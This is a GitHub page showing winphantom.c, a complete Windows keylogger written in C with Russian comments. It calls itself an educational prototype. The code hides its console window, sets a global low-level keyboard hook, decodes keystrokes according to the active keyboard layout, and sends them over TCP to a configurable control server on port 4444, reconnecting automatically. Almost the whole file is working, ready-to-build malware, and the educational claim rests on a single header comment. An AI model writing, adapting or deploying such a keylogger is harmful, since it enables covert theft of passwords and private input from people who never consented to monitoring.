Repository navigation
Expand file tree
/
Copy pathwinphantom.c
More file actions
540 lines (477 loc) · 24.7 KB
/
Copy pathwinphantom.c
File metadata and controls
540 lines (477 loc) · 24.7 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
/**
* ============================================================================
* WinPhantom Keylogger Prototype
* ============================================================================
* Обучающий и исследовательский прототип низкоуровневого кейлоггера для Windows.
* Разработано строго в учебных целях и для демонстрации механизмов защиты.
*
* Язык: C (C99/C11)
* ОС: Windows 10/11
* Компилятор: MinGW-w64 (gcc) или MSVC
* Линковка: ws2_32 (Winsock2), user32, kernel32
* ============================================================================
*/
#ifndef UNICODE
#define UNICODE
#endif
#ifndef _UNICODE
#define _UNICODE
#endif
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <winsock2.h>
#include <ws2tcpip.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
/*
* ============================================================================
* НАСТРОЙКИ И КОНСТАНТЫ
* ============================================================================
*/
#define TARGET_IP "127.0.0.1" // IP-адрес управляющего сервера (VPS / локальный хост)
#define TARGET_PORT "4444" // Порт сервера (согласно ТЗ: 4444)
#define BUFFER_SIZE 4096 // Максимальный размер буфера накопления
#define FLUSH_THRESHOLD 32 // Порог автоматической отправки (в символах)
#define RECONNECT_DELAY 5000 // Задержка перед повторным подключением (в мс)
/*
* ============================================================================
* ГЛОБАЛЬНЫЕ СТРУКТУРЫ И ПЕРЕМЕННЫЕ
* ============================================================================
*/
// Синхронизированный буфер для накопления нажатых клавиш
typedef struct {
char data[BUFFER_SIZE]; // Буфер символов (в UTF-8 для поддержки кириллицы)
int length; // Текущая длина данных в буфере
BOOL should_flush; // Флаг принудительной отправки (например, после [ENTER])
CRITICAL_SECTION lock; // Критическая секция для потокобезопасного доступа
} SyncBuffer;
static SyncBuffer g_buffer; // Глобальный буфер данных
static HHOOK g_hook = NULL; // Дескриптор установленного хука клавиатуры
static SOCKET g_socket = INVALID_SOCKET; // Дескриптор сетевого сокета
static BOOL g_running = TRUE; // Флаг работы программы для фонового потока
/*
* ============================================================================
* ПРОТОТИПЫ ФУНКЦИЙ
* ============================================================================
*/
void HideConsole(void);
BOOL InitWinsock(void);
void CleanupWinsock(void);
DWORD WINAPI NetworkThreadProc(LPVOID lpParam);
BOOL ConnectToServer(void);
void SendBufferData(void);
void AppendToBuffer(const char* text);
LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam);
void TranslateKey(DWORD vkCode, DWORD scanCode, DWORD flags);
void SetHook(void);
void RemoveHook(void);
/*
* ============================================================================
* ОСНОВНОЙ ЦИКЛ (MAIN)
* ============================================================================
* Основная точка входа в приложение. Инициализирует компоненты, скрывает консоль,
* запускает фоновый сетевой поток и входит в цикл обработки сообщений Windows,
* необходимый для функционирования клавиатурных хуков.
*/
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
// 1. Скрываем консольное окно, чтобы программа работала незаметно в фоне
HideConsole();
// 2. Инициализируем критическую секцию для безопасного обмена данными между потоками
// Критическая секция предотвращает состояние гонки (race conditions) при одновременной
// записи клавиш из потока хука и отправке данных из сетевого потока.
InitializeCriticalSection(&g_buffer.lock);
g_buffer.length = 0;
g_buffer.should_flush = FALSE;
memset(g_buffer.data, 0, BUFFER_SIZE);
// 3. Инициализируем библиотеку сокетов Windows (Winsock)
if (!InitWinsock()) {
DeleteCriticalSection(&g_buffer.lock);
return 1;
}
// 4. Создаем фоновый рабочий поток для сетевых операций (Exfiltration Thread)
// Низкоуровневые хуки клавиатуры (WH_KEYBOARD_LL) работают в контексте того же потока,
// который их установил, и КРИТИЧЕСКИ чувствительны к задержкам. Если бы мы пытались
// подключаться к сети или отправлять данные напрямую из callback-функции хука,
// вся операционная система (ввод пользователя) зависала бы при сетевых лагах.
// Вынос сети в отдельный поток полностью решает эту проблему.
HANDLE hNetThread = CreateThread(
NULL, // Атрибуты безопасности по умолчанию
0, // Размер стека по умолчанию (1 МБ)
NetworkThreadProc, // Указатель на функцию потока
NULL, // Параметр, передаваемый в поток
0, // Флаги создания (запустить немедленно)
NULL // Идентификатор потока (не требуется)
);
if (hNetThread == NULL) {
CleanupWinsock();
DeleteCriticalSection(&g_buffer.lock);
return 1;
}
// 5. Устанавливаем глобальный клавиатурный хук
SetHook();
// 6. Запускаем стандартный цикл обработки сообщений (Message Loop)
// Низкоуровневые хуки Windows доставляются через очередь сообщений потока (Thread Message Queue).
// Без этого цикла функция LowLevelKeyboardProc никогда не будет вызвана операционной системой.
MSG msg;
while (GetMessage(&msg, NULL, 0, 0)) {
TranslateMessage(&msg);
DispatchMessage(&msg);
}
// 7. Корректное завершение работы (Cleanup)
g_running = FALSE;
RemoveHook();
// Ожидаем завершения сетевого потока перед освобождением ресурсов
WaitForSingleObject(hNetThread, 3000);
CloseHandle(hNetThread);
CleanupWinsock();
DeleteCriticalSection(&g_buffer.lock);
return 0;
}
/*
* ============================================================================
* РЕАЛИЗАЦИЯ СЕТЕВОГО МОДУЛЯ (WINSOCK2)
* ============================================================================
*/
/**
* Инициализация Winsock API.
* Запрашивает версию Winsock 2.2 у операционной системы.
*/
BOOL InitWinsock(void) {
WSADATA wsaData;
// WSAStartup инициализирует использование библиотеки Winsock.
// MAKEWORD(2, 2) запрашивает версию 2.2 — современный стандарт сокетов в Windows.
int err = WSAStartup(MAKEWORD(2, 2), &wsaData);
if (err != 0) {
return FALSE;
}
return TRUE;
}
/**
* Освобождение ресурсов Winsock.
*/
void CleanupWinsock(void) {
if (g_socket != INVALID_SOCKET) {
closesocket(g_socket);
g_socket = INVALID_SOCKET;
}
WSACleanup();
}
/**
* Попытка установить TCP-соединение с удаленным сервером.
* Реализует парсинг адреса и системный вызов connect().
*/
BOOL ConnectToServer(void) {
struct addrinfo hints;
struct addrinfo* result = NULL;
struct addrinfo* ptr = NULL;
memset(&hints, 0, sizeof(hints));
hints.ai_family = AF_UNSPEC; // Поддержка как IPv4, так и IPv6
hints.ai_socktype = SOCK_STREAM; // Ориентированный на соединение поток (TCP)
hints.ai_protocol = IPPROTO_TCP; // Протокол TCP
// getaddrinfo преобразует IP-адрес/имя хоста и порт в структуру sockaddr.
// Это избавляет от необходимости вручную заполнять sockaddr_in и вызывать inet_addr.
int res = getaddrinfo(TARGET_IP, TARGET_PORT, &hints, &result);
if (res != 0) {
return FALSE;
}
// Проходим по списку полученных адресов и пытаемся подключиться к первому доступному
for (ptr = result; ptr != NULL; ptr = ptr->ai_next) {
g_socket = socket(ptr->ai_family, ptr->ai_socktype, ptr->ai_protocol);
if (g_socket == INVALID_SOCKET) {
continue;
}
// Попытка установить соединение с сервером
res = connect(g_socket, ptr->ai_addr, (int)ptr->ai_addrlen);
if (res == SOCKET_ERROR) {
closesocket(g_socket);
g_socket = INVALID_SOCKET;
continue;
}
break; // Успешно подключились!
}
freeaddrinfo(result); // Освобождаем память, выделенную getaddrinfo
return (g_socket != INVALID_SOCKET);
}
/**
* Фоновая процедура сетевого потока.
* Реализует бесконечный цикл с автоматическим переподключением (reconnect loop)
* и отправкой накопленных данных из буфера.
*/
DWORD WINAPI NetworkThreadProc(LPVOID lpParam) {
(void)lpParam; // Подавление предупреждения о неиспользуемом параметре
while (g_running) {
// Если сокет не создан, пытаемся подключиться к серверу
if (g_socket == INVALID_SOCKET) {
if (!ConnectToServer()) {
// Если подключение не удалось, ждем перед следующей попыткой
Sleep(RECONNECT_DELAY);
continue;
}
}
// Периодическая проверка буфера и отправка данных
BOOL need_send = FALSE;
EnterCriticalSection(&g_buffer.lock);
// Отправляем данные, если:
// 1. Накопилось достаточное количество символов (FLUSH_THRESHOLD = 32)
// 2. Или был нажат ENTER (should_flush == TRUE)
if (g_buffer.length >= FLUSH_THRESHOLD || g_buffer.should_flush) {
if (g_buffer.length > 0) {
need_send = TRUE;
}
}
LeaveCriticalSection(&g_buffer.lock);
if (need_send) {
SendBufferData();
}
// Небольшая пауза для снижения нагрузки на процессор (Polling rate)
Sleep(100);
}
return 0;
}
/**
* Извлечение данных из буфера и их отправка по TCP-сокету.
* В случае сбоя сети сокет закрывается, инициируя цикл переподключения.
*/
void SendBufferData(void) {
char temp_buf[BUFFER_SIZE];
int send_len = 0;
// Копируем данные из глобального буфера во временный под блокировкой,
// чтобы минимизировать время удержания критической секции.
EnterCriticalSection(&g_buffer.lock);
memcpy(temp_buf, g_buffer.data, g_buffer.length);
send_len = g_buffer.length;
// Очищаем глобальный буфер
g_buffer.length = 0;
g_buffer.should_flush = FALSE;
memset(g_buffer.data, 0, BUFFER_SIZE);
LeaveCriticalSection(&g_buffer.lock);
if (send_len <= 0) return;
// Отправляем данные через сокет
int bytes_sent = send(g_socket, temp_buf, send_len, 0);
// Если произошла ошибка (например, сервер закрыл соединение),
// сбрасываем сокет в INVALID_SOCKET. Фоновый поток автоматически восстановит соединение.
if (bytes_sent == SOCKET_ERROR || bytes_sent == 0) {
closesocket(g_socket);
g_socket = INVALID_SOCKET;
// Возвращаем недоставленные данные обратно в буфер, чтобы не потерять их
EnterCriticalSection(&g_buffer.lock);
// Проверяем, поместятся ли возвращаемые данные
if (g_buffer.length + send_len < BUFFER_SIZE) {
// Сдвигаем текущие новые данные вправо
memmove(g_buffer.data + send_len, g_buffer.data, g_buffer.length);
// Копируем старые недоставленные данные в начало
memcpy(g_buffer.data, temp_buf, send_len);
g_buffer.length += send_len;
}
LeaveCriticalSection(&g_buffer.lock);
}
}
/**
* Безопасное добавление строки в буфер с синхронизацией.
*/
void AppendToBuffer(const char* text) {
int len = (int)strlen(text);
if (len <= 0) return;
EnterCriticalSection(&g_buffer.lock);
// Проверяем, не переполнится ли буфер.
// Если буфер заполнен почти полностью, принудительно отправляем старые данные.
if (g_buffer.length + len >= BUFFER_SIZE - 1) {
LeaveCriticalSection(&g_buffer.lock);
SendBufferData(); // Сбрасываем текущие данные
EnterCriticalSection(&g_buffer.lock);
}
// Добавляем новые данные в буфер
if (g_buffer.length + len < BUFFER_SIZE - 1) {
memcpy(g_buffer.data + g_buffer.length, text, len);
g_buffer.length += len;
g_buffer.data[g_buffer.length] = '\0'; // Обеспечиваем null-terminated строку
}
LeaveCriticalSection(&g_buffer.lock);
}
/*
* ============================================================================
* МОДУЛЬ ПЕРЕХВАТА КЛАВИШ (KEYBOARD HOOK)
* ============================================================================
*/
/**
* Установка низкоуровневого хука клавиатуры.
*/
void SetHook(void) {
// WH_KEYBOARD_LL — тип хука для мониторинга низкоуровневых событий ввода клавиатуры.
// LowLevelKeyboardProc — указатель на нашу функцию обратного вызова (callback).
// GetModuleHandle(NULL) — дескриптор текущего исполняемого модуля, содержащего callback.
// 0 — хук глобальный (ассоциирован со всеми существующими потоками в системе).
g_hook = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, GetModuleHandle(NULL), 0);
}
/**
* Снятие хука клавиатуры.
*/
void RemoveHook(void) {
if (g_hook != NULL) {
UnhookWindowsHookEx(g_hook);
g_hook = NULL;
}
}
/**
* Функция трансляции виртуальных кодов клавиш в читаемый UTF-8 формат
* с поддержкой текущей раскладки активного окна.
*/
void TranslateKey(DWORD vkCode, DWORD scanCode, DWORD flags) {
// 1. Обработка управляющих и служебных клавиш
switch (vkCode) {
case VK_RETURN:
AppendToBuffer("[ENTER]\n");
// Устанавливаем флаг немедленной отправки буфера при нажатии Enter
EnterCriticalSection(&g_buffer.lock);
g_buffer.should_flush = TRUE;
LeaveCriticalSection(&g_buffer.lock);
return;
case VK_BACK:
AppendToBuffer("[BACKSPACE]");
return;
case VK_TAB:
AppendToBuffer("[TAB]");
return;
case VK_ESCAPE:
AppendToBuffer("[ESC]");
return;
case VK_SPACE:
AppendToBuffer(" "); // Пробел записываем как обычный символ пробела для читаемости
return;
case VK_DELETE:
AppendToBuffer("[DEL]");
return;
case VK_UP:
AppendToBuffer("[UP]");
return;
case VK_DOWN:
AppendToBuffer("[DOWN]");
return;
case VK_LEFT:
AppendToBuffer("[LEFT]");
return;
case VK_RIGHT:
AppendToBuffer("[RIGHT]");
return;
case VK_LCONTROL:
case VK_RCONTROL:
case VK_CONTROL:
AppendToBuffer("[CTRL]");
return;
case VK_LMENU:
case VK_RMENU:
case VK_MENU:
AppendToBuffer("[ALT]");
return;
case VK_LWIN:
case VK_RWIN:
AppendToBuffer("[WIN]");
return;
// Модификаторы Shift не выводим отдельно, так как ToUnicodeEx автоматически
// учтет их состояние для изменения регистра букв.
case VK_SHIFT:
case VK_LSHIFT:
case VK_RSHIFT:
case VK_CAPITAL:
return; // Игнорируем изолированное нажатие Shift/Caps
default:
break;
}
// 2. Раскладко-зависимый перевод печатных символов
// Получаем дескриптор активного окна на переднем плане
HWND hForegroundWnd = GetForegroundWindow();
DWORD dwThreadId = 0;
HKL hLayout = NULL;
if (hForegroundWnd != NULL) {
// Получаем идентификатор потока активного окна
dwThreadId = GetWindowThreadProcessId(hForegroundWnd, NULL);
// Получаем раскладку клавиатуры для этого потока
hLayout = GetKeyboardLayout(dwThreadId);
} else {
hLayout = GetKeyboardLayout(0);
}
// Опрашиваем физическое состояние клавиш Shift и Caps Lock
BYTE keyState[256] = {0};
if (GetAsyncKeyState(VK_SHIFT) & 0x8000) {
keyState[VK_SHIFT] = 0x80;
}
if (GetKeyState(VK_CAPITAL) & 0x0001) {
keyState[VK_CAPITAL] = 0x01; // Младший бит указывает на то, что Caps Lock включен (Toggle)
}
if (GetAsyncKeyState(VK_CONTROL) & 0x8000) {
keyState[VK_CONTROL] = 0x80;
}
if (GetAsyncKeyState(VK_MENU) & 0x8000) {
keyState[VK_MENU] = 0x80;
}
// Массив для вывода символа (ToUnicodeEx возвращает UTF-16 символы)
WCHAR wBuffer[10] = {0};
// ToUnicodeEx транслирует виртуальный код клавиши и состояние клавиатуры
// в соответствующий символ Unicode, учитывая активную раскладку ввода (например, RU/EN).
int translationResult = ToUnicodeEx(
vkCode, // Код виртуальной клавиши
scanCode, // Скан-код клавиши
keyState, // Состояние всех клавиш (Shift, Caps Lock)
wBuffer, // Буфер для результирующего символа Unicode
9, // Максимальный размер буфера в wchar_t
flags, // Флаги (передаем из KBDLLHOOKSTRUCT)
hLayout // Раскладка клавиатуры
);
if (translationResult > 0) {
// Преобразуем полученную UTF-16 строку в UTF-8 для корректной передачи по сети
char utf8Buffer[32] = {0};
int bytesConverted = WideCharToMultiByte(
CP_UTF8, // Кодовая страница UTF-8
0, // Флаги преобразования по умолчанию
wBuffer, // Исходная Wide-строка
translationResult, // Длина исходной строки
utf8Buffer, // Результирующий буфер
sizeof(utf8Buffer) - 1,
NULL, // Символ по умолчанию
NULL // Флаг использования символа по умолчанию
);
if (bytesConverted > 0) {
utf8Buffer[bytesConverted] = '\0';
AppendToBuffer(utf8Buffer);
}
}
}
/**
* Колбэк-функция клавиатурного хука (LowLevelKeyboardProc).
* Вызывается операционной системой Windows каждый раз, когда происходит событие ввода (нажатие/отпускание клавиши).
*/
LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
// Если nCode < 0, мы ОБЯЗАНЫ передать сообщение дальше без обработки,
// вызвав CallNextHookEx, согласно документации MSDN.
if (nCode >= 0) {
// Нас интересуют только события нажатия клавиш (WM_KEYDOWN или WM_SYSKEYDOWN для системных комбинаций типа Alt+Key)
if (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) {
// lParam содержит указатель на структуру KBDLLHOOKSTRUCT
PKBDLLHOOKSTRUCT pKeyStruct = (PKBDLLHOOKSTRUCT)lParam;
if (pKeyStruct != NULL) {
// Вызываем функцию трансляции клавиши
TranslateKey(pKeyStruct->vkCode, pKeyStruct->scanCode, pKeyStruct->flags);
}
}
}
// CallNextHookEx передает событие следующему хуку в цепочке.
// Если этого не сделать, мы заблокируем ввод для всей системы (клавиатура перестанет работать во всех окнах!).
return CallNextHookEx(g_hook, nCode, wParam, lParam);
}
/*
* ============================================================================
* УТИЛИТАРНЫЕ ФУНКЦИИ
* ============================================================================
*/
/**
* Скрытие консольного окна приложения.
*/
void HideConsole(void) {
// Находим хендл текущего консольного окна
HWND hConsole = GetConsoleWindow();
if (hConsole != NULL) {
// Скрываем окно с экрана и убираем его из панели задач
ShowWindow(hConsole, SW_HIDE);
}
}